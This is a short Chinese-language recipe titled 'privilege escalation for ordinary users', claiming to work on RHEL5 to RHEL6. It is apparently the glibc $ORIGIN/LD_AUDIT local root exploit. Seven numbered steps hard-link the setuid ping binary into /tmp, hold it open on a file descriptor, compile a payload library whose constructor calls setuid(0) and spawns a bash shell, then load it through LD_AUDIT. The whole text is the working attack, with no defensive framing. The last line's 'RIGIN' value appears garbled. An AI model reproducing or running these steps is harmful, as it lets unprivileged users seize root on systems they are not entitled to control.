普通用户提权

说明：RHEL5—RHEL6下  都可以提权

1. ls -ld /tmp/

2. ls -l /bin/ping

3. mkdir /tmp/exploit ; ln /bin/ping /tmp/exploit/target

4. exec 3< /tmp/exploit/target ;  rm -rf /tmp/exploit/ ; ls -l /proc/$$/fd/3

5. vim payload.c

void __attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

6. gcc -w -fPIC -shared -o /tmp/exploit payload.c ; ls -l /tmp/exploit

7. LD_AUDIT="\0RIGIN" exec /proc/self/fd/3